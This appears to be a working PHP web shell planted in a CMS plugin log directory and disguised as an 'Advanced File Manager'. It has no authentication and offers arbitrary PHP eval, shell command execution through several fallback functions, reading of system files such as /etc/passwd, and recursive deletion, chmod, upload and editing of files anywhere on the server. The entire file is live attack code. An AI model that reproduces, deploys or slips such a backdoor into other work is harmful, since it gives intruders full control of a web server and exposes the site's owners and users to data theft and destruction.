File manager

File manager - Edit - /home/ferretapmx/public_html/plugins/system/log/kir_tlexob.php

Back
<?php // 🚀 Advanced File Manager - Fixed Navigation Edition session_start(); // No password - direct access $_SESSION['auth'] = true; // Get current directory - preserve it across operations $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // Handle rename - stay in same directory if (isset($_GET['rename']) && isset($_GET['newname'])) { $old = $_GET['rename']; $new = dirname($old) . '/' . basename($_GET['newname']); if (rename($old, $new)) { echo "✅ Renamed to " . htmlspecialchars(basename($_GET['newname'])) . "<br>"; } else { echo "❌ Rename failed<br>"; } // Stay in same directory header("Location: ?dir=" . urlencode($dir)); exit; } // Handle delete - stay in same directory if (isset($_GET['delete'])) { $file = $_GET['delete']; $success = false; if (is_file($file)) { if (unlink($file)) $success = true; } elseif (is_dir($file)) { // Try to delete recursively if directory not empty if (rmdir($file)) { $success = true; } else { // Attempt recursive delete for non-empty directories function delTree($path) { if (is_dir($path)) { $files = scandir($path); foreach ($files as $file) { if ($file != "." && $file != "..") { delTree($path . "/" . $file); } } rmdir($path); } else { unlink($path); } } delTree($file); $success = true; } } if ($success) { echo "✅ Deleted: " . htmlspecialchars(basename($file)) . "<br>"; } else { echo "❌ Delete failed<br>"; } // Stay in same directory header("Location: ?dir=" . urlencode($dir)); exit; } // Handle chmod - stay in same directory if (isset($_GET['chmod']) && isset($_GET['perms'])) { $file = $_GET['chmod']; $perms = octdec($_GET['perms']); if (chmod($file, $perms)) { echo "✅ Chmod " . decoct($perms) . " applied to " . htmlspecialchars(basename($file)) . "<br>"; } else { echo "❌ Chmod failed<br>"; } header("Location: ?dir=" . urlencode($dir)); exit; } // Handle view file (read without edit) if (isset($_GET['view'])) { $file = $_GET['view']; if (file_exists($file) && is_file($file)) { echo "<hr><strong>📄 Viewing: " . htmlspecialchars($file) . "</strong><br>"; echo "<pre style='background:#f0f0f0;padding:10px;border:1px solid #ccc;overflow:auto;max-height:400px'>"; echo htmlspecialchars(file_get_contents($file)); echo "</pre><hr>"; echo "<a href='?dir=" . urlencode($dir) . "'>← Back to directory</a>"; } else { echo "❌ File not found<br>"; echo "<a href='?dir=" . urlencode($dir) . "'>← Back to directory</a>"; } exit; } // Handle read system file if (isset($_POST['read_system'])) { $sysfile = $_POST['system_file']; if (file_exists($sysfile) && is_readable($sysfile)) { echo "<hr><strong>📖 System File: " . htmlspecialchars($sysfile) . "</strong><br>"; echo "<pre style='background:#f0f0f0;padding:10px;border:1px solid #ccc;overflow:auto;max-height:400px'>"; echo htmlspecialchars(file_get_contents($sysfile)); echo "</pre><hr>"; } else { echo "❌ Cannot read: " . htmlspecialchars($sysfile) . "<br>"; } echo "<a href='?dir=" . urlencode($dir) . "'>← Back to directory</a>"; exit; } // Handle PHP code execution - stay in same directory if (isset($_POST['execute_code'])) { $code = $_POST['execute_code']; echo "<hr><strong>⚡ PHP Execution Output:</strong><br>"; echo "<div style='background:#ffffcc;padding:10px;border:1px solid #ff9900;margin:5px 0;font-family:monospace'>"; try { eval($code); } catch (Throwable $e) { echo "Error: " . $e->getMessage(); } echo "</div><hr>"; echo "<a href='?dir=" . urlencode($dir) . "'>← Back to directory</a>"; exit; } // Handle system command - stay in same directory if (isset($_POST['system_cmd'])) { $cmd = $_POST['system_cmd']; echo "<hr><strong>💻 Command Output:</strong><br>"; echo "<pre style='background:#e0e0e0;padding:10px;border:1px solid #888;overflow:auto;max-height:300px'>"; $n30_disabled = array_map('trim', explode(',', ini_get('disable_functions') ?: '')); $n30_out = 'All exec functions disabled. Use PHP eval tab instead.'; foreach (['shell_exec','system','exec','passthru','popen'] as $n30_f) { if (function_exists($n30_f) && !in_array($n30_f, $n30_disabled)) { if ($n30_f === 'shell_exec') { $n30_out = @$n30_f($cmd . ' 2>&1'); break; } if ($n30_f === 'passthru' \|\| $n30_f === 'system') { ob_start(); @$n30_f($cmd . ' 2>&1'); $n30_out = ob_get_clean(); break; } if ($n30_f === 'exec') { $n30_o = []; @$n30_f($cmd . ' 2>&1', $n30_o); $n30_out = implode("\n", $n30_o); break; } if ($n30_f === 'popen') { $n30_p = @$n30_f($cmd . ' 2>&1', 'r'); if ($n30_p) { $n30_out = fread($n30_p, 8192); pclose($n30_p); break; } } } } echo htmlspecialchars($n30_out); echo "</pre><hr>"; echo "<a href='?dir=" . urlencode($dir) . "'>← Back to directory</a>"; exit; } // Handle file edit - stay in same directory after save if (isset($_GET['edit'])) { $file = $_GET['edit']; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($file, $_POST['content']); echo "✅ Saved!<br>"; echo "<a href='?dir=" . urlencode($dir) . "'>← Back to directory</a><br><br>"; } echo '<form method="POST"><textarea name="content" style="width:100%;height:400px;font-family:monospace">' . htmlspecialchars(file_get_contents($file)) . '</textarea><br><input type="submit" value="Save Changes"/></form>'; if ($_SERVER['REQUEST_METHOD'] !== 'POST') { echo '<a href="?dir=' . urlencode($dir) . '">← Back to directory</a>'; } exit; } // Handle download if (isset($_GET['download'])) { $file = $_GET['download']; header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Type: application/octet-stream'); readfile($file); exit; } // Handle upload - stay in same directory if (isset($_FILES['file'])) { $target = $dir . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "✅ Uploaded: " . htmlspecialchars(basename($target)) . "<br>"; } else { echo "❌ Upload failed<br>"; } header("Location: ?dir=" . urlencode($dir)); exit; } // Handle create new file/dir - stay in same directory if (isset($_POST['create_item'])) { $newpath = $dir . '/' . basename($_POST['new_name']); if ($_POST['item_type'] === 'file') { if (file_put_contents($newpath, '')) { echo "✅ Created file: " . htmlspecialchars(basename($_POST['new_name'])) . "<br>"; } else { echo "❌ Failed to create file<br>"; } } elseif ($_POST['item_type'] === 'dir') { if (mkdir($newpath)) { echo "✅ Created directory: " . htmlspecialchars(basename($_POST['new_name'])) . "<br>"; } else { echo "❌ Failed to create directory<br>"; } } header("Location: ?dir=" . urlencode($dir)); exit; } ?> <!DOCTYPE html> <html> <head> <title>File Manager</title> <style> body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; } .container { max-width: 1400px; margin: auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); } .toolbar { background: #f0f0f0; padding: 10px; margin: 10px 0; border-radius: 5px; } .section { margin: 15px 0; padding: 15px; border: 1px solid #ddd; border-radius: 5px; background: #fafafa; } .file-table { width: 100%; border-collapse: collapse; margin-top: 10px; } .file-table tr:hover { background: #f9f9f9; } .file-table td, .file-table th { padding: 8px; border-bottom: 1px solid #eee; text-align: left; } .dir-link { color: #0066cc; font-weight: bold; text-decoration: none; } .dir-link:hover { text-decoration: underline; } .actions form { display: inline; margin: 0 2px; } .actions input, .actions button { font-size: 12px; padding: 2px 5px; } .breadcrumb { margin: 10px 0; padding: 8px; background: #e8f4f8; border-radius: 4px; } button, input[type="submit"] { background: #4CAF50; color: white; border: none; padding: 5px 10px; border-radius: 3px; cursor: pointer; } button:hover, input[type="submit"]:hover { background: #45a049; } .delete-btn { color: red; } textarea { font-family: monospace; } </style> </head> <body> <div class="container"> <h2>📁 Advanced File Manager</h2> <!-- Current Directory Display --> <div class="toolbar"> <strong>📍 Current Path:</strong> <?php $parts = explode('/', str_replace('\\', '/', $dir)); $path = ''; echo "<a href='?dir=" . urlencode(getcwd()) . "'>🏠 Home</a> / "; foreach($parts as $i => $p) { if(empty($p)) continue; $path .= '/' . $p; if($i == count($parts)-1) { echo "<strong>" . htmlspecialchars($p) . "</strong>"; } else { echo "<a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($p) . "</a> / "; } } ?> </div> <!-- Quick Access Buttons --> <div class="section" style="background:#e8f5e9"> <strong>⚡ Quick Access:</strong> <a href="?dir=<?php echo urlencode(getcwd()); ?>">🏠 Root</a> \| <a href="?dir=/">💻 System Root</a> \| <a href="?dir=/var/www/html">🌐 Web Root</a> \| <a href="?dir=/etc">⚙️ /etc</a> \| <a href="?dir=/home">👤 /home</a> \| <a href="?dir=/tmp">📦 /tmp</a> </div> <!-- Upload Form --> <div class="section"> <form method="POST" enctype="multipart/form-data"> <strong>📤 Upload File:</strong> <input type="file" name="file" required> <input type="submit" value="Upload to Current Directory"> </form> </div> <!-- Create Form --> <div class="section"> <form method="POST"> <strong>➕ Create New:</strong> <input type="text" name="new_name" placeholder="name" required size="30"> <select name="item_type"> <option value="file">📄 File</option> <option value="dir">📁 Directory</option> </select> <input type="submit" name="create_item" value="Create"> </form> </div> <!-- System Tools --> <div class="section" style="background:#fff3e0"> <details> <summary><strong>🔧 Advanced Tools (Click to Expand)</strong></summary> <br> <!-- System File Reader --> <form method="POST" style="margin-bottom:15px"> <strong>📖 Read System File:</strong> <input type="text" name="system_file" value="/etc/passwd" size="50"> <input type="submit" name="read_system" value="Read File"> </form> <!-- PHP Code Execution --> <form method="POST" style="margin-bottom:15px"> <strong>🐘 Execute PHP Code:</strong><br> <textarea name="execute_code" rows="3" cols="80" placeholder='echo system("whoami"); echo file_get_contents("/etc/passwd"); phpinfo();'></textarea><br> <input type="submit" value="Run PHP Code"> </form> <!-- System Command --> <form method="POST"> <strong>💻 System Command:</strong> <input type="text" name="system_cmd" size="60" placeholder="ls -la, whoami, id, pwd, uname -a"> <input type="submit" value="Execute Command"> </form> </details> </div> <!-- File Listing --> <h3>📂 Directory Contents:</h3> <table class="file-table"> <thead> <tr> <th>Type</th><th>Name</th><th>Permissions</th><th>Size</th><th colspan="5">Actions</th> </tr> </thead> <tbody> <?php $files = scandir($dir); foreach ($files as $f) { if ($f === '.' \|\| $f === '..') continue; $path = $dir . '/' . $f; $isDir = is_dir($path); $icon = $isDir ? "📁" : "📄"; $perms = substr(sprintf('%o', fileperms($path)), -4); $size = $isDir ? '-' : round(filesize($path)/1024, 2) . ' KB'; ?> <tr> <td><?php echo $icon; ?></td> <td> <?php if ($isDir): ?> <a href="?dir=<?php echo urlencode($path); ?>" class="dir-link"><?php echo htmlspecialchars($f); ?></a>/ <?php else: ?> <?php echo htmlspecialchars($f); ?> <?php endif; ?> </td> <td style="font-family:monospace; font-size:11px"><?php echo $perms; ?></td> <td style="font-size:12px"><?php echo $size; ?></td> <td class="actions"> <?php if (!$isDir): ?> <a href="?edit=<?php echo urlencode($path); ?>&dir=<?php echo urlencode($dir); ?>">✏️ Edit</a> <a href="?download=<?php echo urlencode($path); ?>">⬇️ Download</a> <a href="?view=<?php echo urlencode($path); ?>&dir=<?php echo urlencode($dir); ?>">👁️ View</a> <?php endif; ?> <form method="GET" style="display:inline"> <input type="hidden" name="rename" value="<?php echo htmlspecialchars($path); ?>"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($dir); ?>"> <input type="text" name="newname" placeholder="new name" size="10"> <button type="submit">Rename</button> </form> <a href="?delete=<?php echo urlencode($path); ?>&dir=<?php echo urlencode($dir); ?>" class="delete-btn" onclick="return confirm('⚠️ Delete <?php echo htmlspecialchars($f); ?> permanently?')">🗑️ Delete</a> <form method="GET" style="display:inline"> <input type="hidden" name="chmod" value="<?php echo htmlspecialchars($path); ?>"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($dir); ?>"> <input type="text" name="perms" placeholder="0755" size="5"> <button type="submit">Chmod</button> </form> </td> </tr> <?php } ?> </tbody> </table> <!-- PHP Info Link --> <hr> <a href="?phpinfo=1" target="_blank">🔧 System Information (phpinfo)</a> <?php if (isset($_GET['phpinfo'])) phpinfo(); ?> </div> </body> </html>

| ver. 1.4 | Github | . | PHP 8.2.32 | Generation time: 0.06 | proxy | phpinfo | Settings